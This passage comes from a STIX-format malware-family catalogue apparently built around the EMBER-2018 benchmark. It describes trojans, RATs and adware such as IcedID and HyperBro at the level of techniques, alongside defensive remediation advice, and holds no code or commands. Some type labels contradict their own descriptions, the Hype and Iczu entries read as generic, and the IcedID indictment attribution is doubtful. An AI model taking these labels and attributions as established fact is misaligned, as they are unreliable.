      "description": "Trojan:Win32/Hype is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Hype</b><br>To an end-user, a Hype infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Hype is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Hype is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Hype frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Hype reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 6)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Hype",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/hype"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--d2ec2ed4-dbc8-551e-aa82-9b85a775da09",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--868c2b36-3014-5d86-b5c9-7c02206a0946",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Hype exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--56448f67-9d9a-5129-bcd0-887f47b51fa2",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--868c2b36-3014-5d86-b5c9-7c02206a0946",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Hype exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--e4e3b09b-5c32-586b-98e0-1aee5b046978",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--868c2b36-3014-5d86-b5c9-7c02206a0946",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Hype exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--f9de19b0-64e6-5265-a5af-eab5a376dd7b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--868c2b36-3014-5d86-b5c9-7c02206a0946",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Hype exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--a042156e-d8cf-51fd-ba0f-e54143e4441e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--868c2b36-3014-5d86-b5c9-7c02206a0946",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Hype exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--802490e0-b9e0-5dd8-b8db-180590d3c2ec",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Hyperbro",
      "description": "<h3>Executive Summary</h3>\nHyperBro is a custom, in-memory Remote Access Trojan (RAT) and backdoor exclusively utilized by the Chinese state-sponsored threat group APT27 (also known as Emissary Panda, Iron Tiger, or LuckyMouse). It is a highly sophisticated espionage tool designed to provide the attackers with long-term, stealthy, and unrestricted administrative access to compromised enterprise and government networks for the purpose of intellectual property theft and surveillance.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nAPT27 typically deploys HyperBro as a secondary payload after gaining initial access through the exploitation of public-facing server vulnerabilities (e.g., SharePoint, Exchange) or via targeted spear-phishing with malicious documents.\n\nOnce deployed, HyperBro exhibits advanced APT capabilities:\n<ul>\n<li><strong>In-Memory Execution (Fileless):</strong> HyperBro is designed to operate almost entirely in memory. It is often loaded using DLL side-loading techniques (hijacking legitimate, signed executables to load the malicious payload) or via reflective DLL injection, making it highly resistant to traditional on-disk antivirus scanning.</li>\n<li><strong>Custom C2 Protocols:</strong> It utilizes custom, encrypted communication protocols over HTTP/HTTPS to communicate with its Command and Control servers, often blending its traffic with legitimate network noise to evade perimeter detection.</li>\n<li><strong>Comprehensive Backdoor Capabilities:</strong> HyperBro grants the attacker total control. It can execute arbitrary shell commands, manage files (upload/download/delete), manipulate the Windows registry, log keystrokes, capture screenshots, and act as a proxy to pivot laterally deeper into the network.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nA HyperBro detection is an absolute critical security incident (Code Red). It signifies an active, deep compromise by a highly resourced, Tier-1 state-sponsored adversary. The objective is stealthy, long-term espionage. If HyperBro is detected, it must be assumed that the attackers have already achieved broad lateral movement and likely possess Domain Admin credentials.\n\n<h3>Incident Response and Remediation</h3>\n<ul>\n<li><strong>Invoke Incident Response Retainer:</strong> A confirmed APT27 breach requires immediate escalation to specialized, external Incident Response (IR) teams and potentially national cyber security authorities.</li>\n<li><strong>Containment Strategy:</strong> Do not immediately remediate individual endpoints, as this will alert the adversary, causing them to \"dig in\" using alternative backdoors. Containment must be a coordinated, network-wide event to sever all access simultaneously.</li>\n<li><strong>Total Infrastructure Rebuild:</strong> Eradicating an APT requires fundamentally rebuilding compromised infrastructure, enforcing strict network segmentation, and implementing pervasive MFA, as the adversary likely possesses global administrative credentials.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "APT.HyperBro",
        "Backdoor.HyperBro",
        "Win32/HyperBro",
        "APT27.Payload"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Hyperbro",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/hyperbro"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--8cce0831-a8be-59db-bf6c-81f35f33cbc7",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--802490e0-b9e0-5dd8-b8db-180590d3c2ec",
      "target_ref": "attack-pattern--a763b4e8-06c3-5399-9705-7b4f6eec4504",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Hyperbro exhibits technique T1574.002 (DLL Side-Loading)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--ae57e6d6-594e-55eb-841f-b2baf1b796ec",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--802490e0-b9e0-5dd8-b8db-180590d3c2ec",
      "target_ref": "attack-pattern--0a1fb694-bbfe-5e7d-89e1-1f78720af865",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Hyperbro exhibits technique T1055.001 (Dynamic-link Library Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--2c260f39-d36c-57c9-a275-52a968a3bbac",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--802490e0-b9e0-5dd8-b8db-180590d3c2ec",
      "target_ref": "attack-pattern--9561e493-14f3-5fcb-a83c-f95649da6548",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Hyperbro exhibits technique T1071.001 (Application Layer Protocol: Web Protocols (C2 Communication))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--b5e0cf00-63b3-5d06-8cf8-d160c64f912e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--802490e0-b9e0-5dd8-b8db-180590d3c2ec",
      "target_ref": "attack-pattern--5f54d0f8-5d15-5341-b1b0-5a7cbe6761ce",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Hyperbro exhibits technique T1056.001 (Keylogging)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--0fa24bb4-53b5-5701-a0fa-c8e245a4c5f1",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Ibryte",
      "description": "iBryte (cataloged across antimalware research telemetry under signatures including SoftwareBundler:Win32/IBryte, PUA:Win32/IBryte, and Adware:Win32/IBryte) is an aggressive software monetization framework and deceptive installer wrapper active since 2013. Operated by iBryte Media, the platform repackaged legitimate free utilities (such as Flash players, media codecs, and torrent downloaders) inside dynamic offer wrappers. During installation, iBryte utilizes dark patterns and multi-step pre-checked consent forms to silently download secondary adware toolbars, browser hijackers, and cryptocurrency mining components. It alters browser shortcut targets, installs background updater services, and continuously tracks user search queries and browsing telemetry for ad arbitrage. (Observed samples in benchmark: 24)",
      "is_family": true,
      "malware_types": [
        "adware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "SoftwareBundler:Win32/IBryte",
        "PUA:Win32/IBryte",
        "Adware:Win32/IBryte",
        "Win32/IBryte",
        "iBryte Downloader"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Ibryte",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/ibryte"
        }
      ],
      "labels": [
        "adware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--a185da33-abe5-559a-8ceb-4ec964a821b6",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Icecold_Reloaded",
      "description": "IceCold Reloaded (cataloged across security software as Backdoor:Win32/IceCold.Reloaded, Trojan.Win32.IceCold, and Backdoor.IceCold) is a classical Delphi-based Remote Access Trojan and surveillance framework derived from the early-2000s IceCold RAT family. Widely popular on early underground cybercrime forums due to its user-friendly graphical client and builder interface, IceCold Reloaded enables threat actors to compile custom trojan server stubs. Once installed on a victim Windows computer, the malware establishes persistent registry Run keys, opens TCP listening sockets, and provides remote operators with real-time screen spying, microphone audio capture, keystroke logging, password extraction from legacy browsers and email clients, and remote command execution. (Observed samples in benchmark: 1,500)",
      "is_family": true,
      "malware_types": [
        "remote-access-trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Backdoor:Win32/IceCold.Reloaded",
        "Trojan.Win32.IceCold",
        "Backdoor.IceCold",
        "Win32/IceCold.RAT",
        "Trojan.IceColdReloaded"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Icecold_Reloaded",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/icecold_reloaded"
        }
      ],
      "labels": [
        "rat",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--05cb3911-9b52-5ad2-8adf-e46f5e725a00",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--a185da33-abe5-559a-8ceb-4ec964a821b6",
      "target_ref": "attack-pattern--5f54d0f8-5d15-5341-b1b0-5a7cbe6761ce",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Icecold_Reloaded exhibits technique T1056.001 (Input Capture: Keylogging)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--ef307f8b-ef2e-511a-b12b-a63e7d2c286a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--a185da33-abe5-559a-8ceb-4ec964a821b6",
      "target_ref": "attack-pattern--37de49c0-a688-5fc9-b50e-201a448feea0",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Icecold_Reloaded exhibits technique T1113 (Screen Capture)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--849f9746-d7bd-5ed4-929e-7ff6a6b2b05d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--a185da33-abe5-559a-8ceb-4ec964a821b6",
      "target_ref": "attack-pattern--ed2a807b-3451-5ba6-bc92-f7395d0d7084",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Icecold_Reloaded exhibits technique T1123 (Audio Capture)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--e03d2582-e17d-5985-969a-7d00882eacdd",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--a185da33-abe5-559a-8ceb-4ec964a821b6",
      "target_ref": "attack-pattern--8d654e3a-ab3a-5a68-a2dd-c7e622d3b49f",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Icecold_Reloaded exhibits technique T1059.003 (Command and Scripting Interpreter: Windows Command Shell)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--0fd24ef5-7682-5728-93da-e9ce7ccb1f5f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--a185da33-abe5-559a-8ceb-4ec964a821b6",
      "target_ref": "attack-pattern--9561e493-14f3-5fcb-a83c-f95649da6548",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Icecold_Reloaded exhibits technique T1071.001 (Application Layer Protocol: Web Protocols)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--6d489cb9-9c79-5f5c-850a-a333e8ed0003",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--a185da33-abe5-559a-8ceb-4ec964a821b6",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Icecold_Reloaded exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--797e21bc-17e1-59c5-b3bb-b15880cc736d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Icedid",
      "description": "IcedID (widely tracked across the intelligence community as BokBot) is a sophisticated modular banking trojan and initial access loader first identified in September 2017. Originally authored to intercept and manipulate online banking sessions via webinjects and local redirection proxies, IcedID evolved into one of the cybercrime underground's premier enterprise access brokers, closely partnered with threat actors such as TA551 (Gold Cabin) and Wizard Spider (UNC1878).\n\nIcedID operated as a primary launching pad for high-impact human-operated ransomware campaigns, routinely facilitating the deployment of Conti, Quantum, and BlackCat (ALPHV). In January 2023, the United States Department of Justice (Northern District of Ohio) unsealed criminal charges against Russian national Mikhail Tsarev for his role in operating IcedID and Conti. In June 2023, the US DOJ unsealed an indictment charging Russian national Maksim Rudometov, one of the primary developers and administrators of IcedID, with wire fraud, bank fraud, and Computer Fraud and Abuse Act violations. The malware features sophisticated steganographic communications and evasion mechanisms, often packing its initial loader payload inside image files. (Observed samples in benchmark: 118)",
      "is_family": true,
      "malware_types": [
        "trojan",
        "banking-trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "IcedID",
        "BokBot",
        "Trojan.IcedID",
        "Banking.BokBot",
        "Win32/IcedID"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Icedid",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/icedid"
        }
      ],
      "labels": [
        "banking_trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--632dca78-c97f-50f1-aa44-8ad5f62a6a27",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--797e21bc-17e1-59c5-b3bb-b15880cc736d",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Icedid exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--9e2789c8-7af9-5fed-aee5-212a80698575",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--797e21bc-17e1-59c5-b3bb-b15880cc736d",
      "target_ref": "attack-pattern--9f854ac3-c197-5dbe-b964-50f8eeda8581",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Icedid exhibits technique T1053.005 (Scheduled Task/Job: Scheduled Task (Using tasks for persistent, recurring execution))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--5629a698-687d-5703-ab52-f43f4c44a069",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--797e21bc-17e1-59c5-b3bb-b15880cc736d",
      "target_ref": "attack-pattern--9561e493-14f3-5fcb-a83c-f95649da6548",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Icedid exhibits technique T1071.001 (Application Layer Protocol: Web Protocols (C2 Communication))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--2ff23412-d02e-5c50-9bbb-cb93f4d6c4df",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--797e21bc-17e1-59c5-b3bb-b15880cc736d",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Icedid exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--a626dced-3338-5036-9858-5d220e074826",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--797e21bc-17e1-59c5-b3bb-b15880cc736d",
      "target_ref": "attack-pattern--9617cd1a-5a22-5e0a-a624-97dbf59822df",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Icedid exhibits technique T1112 (Modify Registry)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--ccc81661-0811-53c2-9774-2a53c8dde6b4",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--797e21bc-17e1-59c5-b3bb-b15880cc736d",
      "target_ref": "attack-pattern--5f54d0f8-5d15-5341-b1b0-5a7cbe6761ce",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Icedid exhibits technique T1056.001 (Keylogging)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--82d720ad-a0cf-5db5-bd90-8918741ffd9a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Icloader",
      "description": "ICLoader (identified across vendor detection engines as PUA:Win32/ICLoader, Trojan:Win32/ICLoader, and PUP.Optional.InstallCore) is an aggressive software bundler and pay-per-install (PPI) loader linked to the InstallCore distribution network and analyzed by Microsoft Defender and Malwarebytes. Operating primarily through deceptive software distribution sites, ICLoader disguises itself as an official setup wizard for freeware applications, utility drivers, and media converters. Upon execution, the loader contacts central advertising servers to dynamically fetch an installer configuration manifest containing secondary promotional applications. Utilizing deceptive installation dialogs with pre-checked consent boxes and obscure rejection prompts, ICLoader downloads and executes unwanted third-party tools, browser extensions, adware components, and system cleaners. To ensure continued execution of deployed affiliate tools, ICLoader writes persistence keys to HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run and schedules background Windows tasks. Its operations degrade endpoint performance, alter browser security configurations, and introduce substantial attack surface exposure. (Observed samples in benchmark: 1,145)",
      "is_family": true,
      "malware_types": [
        "adware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "PUA:Win32/ICLoader",
        "Trojan:Win32/ICLoader",
        "Win32/ICLoader",
        "PUP.Optional.ICLoader",
        "InstallCore.ICLoader",
        "Adware:Win32/InstallCore"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Icloader",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/icloader"
        }
      ],
      "labels": [
        "pua",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--21a880ec-501b-5dda-8c80-664af3dcca13",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--82d720ad-a0cf-5db5-bd90-8918741ffd9a",
      "target_ref": "attack-pattern--4054acd0-ca17-521d-b3cb-772b441a9f32",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Icloader exhibits technique T1189 (Drive-by Compromise)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--f884286c-25c5-5cef-ac85-fe90a4849edc",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--82d720ad-a0cf-5db5-bd90-8918741ffd9a",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Icloader exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--f4248744-6ef9-5c49-88d3-0fe715928969",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--82d720ad-a0cf-5db5-bd90-8918741ffd9a",
      "target_ref": "attack-pattern--bef94ccf-f6d3-5ee9-8eaa-a8867a38a5a4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Icloader exhibits technique T1204.002 (User Execution: Malicious File)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--39ce49eb-acaa-5fc2-894d-8bb5ea703728",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--82d720ad-a0cf-5db5-bd90-8918741ffd9a",
      "target_ref": "attack-pattern--9f854ac3-c197-5dbe-b964-50f8eeda8581",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Icloader exhibits technique T1053.005 (Scheduled Task/Job: Scheduled Task)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--d52daaef-9bdc-552b-87f3-f141494d4ed8",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--82d720ad-a0cf-5db5-bd90-8918741ffd9a",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Icloader exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--730ed6bb-54ef-51b9-a16d-566598721d3d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--82d720ad-a0cf-5db5-bd90-8918741ffd9a",
      "target_ref": "attack-pattern--9617cd1a-5a22-5e0a-a624-97dbf59822df",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Icloader exhibits technique T1112 (Modify Registry)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--a9fa9c43-17e7-5cdc-84a7-07c91884a8fc",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--82d720ad-a0cf-5db5-bd90-8918741ffd9a",
      "target_ref": "attack-pattern--07f2a5f1-0132-5a8d-8dbb-fae899993f56",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Icloader exhibits technique T1562.001 (Impair Defenses: Disable or Modify Tools)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--1102767b-1a66-555f-92ce-6d1f9ab6ca02",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Iczu",
      "description": "<h3>Executive Summary</h3>\nIczu is a malicious Trojan designed to covertly infiltrate Windows systems, establish persistence, and act as a reliable downloader for remote threat actors. It is frequently utilized in the initial stages of a cyberattack to gather system intelligence and facilitate the automated deployment of secondary, highly destructive malware payloads, such as enterprise ransomware or banking trojans.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nIczu is predominantly distributed through socially engineered spam campaigns containing malicious attachments (often weaponized PDFs or Office documents utilizing macro exploits) or via compromised software installers downloaded from untrustworthy web portals.\n\nUpon successful execution, Iczu operates with a focus on stealth and payload delivery:\n<ul>\n<li><strong>System Reconnaissance:</strong> The trojan immediately collects detailed system information, including the OS version, installed software, Active Directory domain membership, and active antivirus solutions. This fingerprint is transmitted to a command-and-control (C2) server.</li>\n<li><strong>Persistence:</strong> Iczu ensures it survives system reboots by modifying the Windows Registry (e.g., adding entries to the `Run` or `RunOnce` keys) or by creating hidden Scheduled Tasks that execute the malware payload under high privileges.</li>\n<li><strong>Payload Delivery:</strong> Acting as a downloader, Iczu receives instructions from the C2 server to silently download and execute secondary malware. This provides the attacker with a flexible platform to escalate the attack based on the value of the compromised host.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nAn Iczu infection represents a significant breach of the endpoint perimeter. Because it provides remote attackers with the ability to execute arbitrary code, a single compromised machine can rapidly be utilized to pivot laterally and compromise the entire corporate network.\n\n<h3>Remediation and Eradication</h3>\n<ul>\n<li><strong>Endpoint Detection and Response (EDR):</strong> Configure EDR solutions to monitor for anomalous registry modifications and unauthorized outbound network connections to unknown IP addresses.</li>\n<li><strong>Network Isolation and Sweeps:</strong> Immediately isolate the infected endpoint from the LAN. Conduct a thorough forensic sweep to identify not only the Iczu executable but also any secondary payloads it may have successfully deployed.</li>\n<li><strong>Credential Reset:</strong> Because Iczu frequently facilitates the deployment of info-stealers, all user credentials associated with the compromised endpoint must be treated as compromised and immediately reset.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan.Iczu",
        "Downloader.Iczu",
        "Win32/Iczu"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
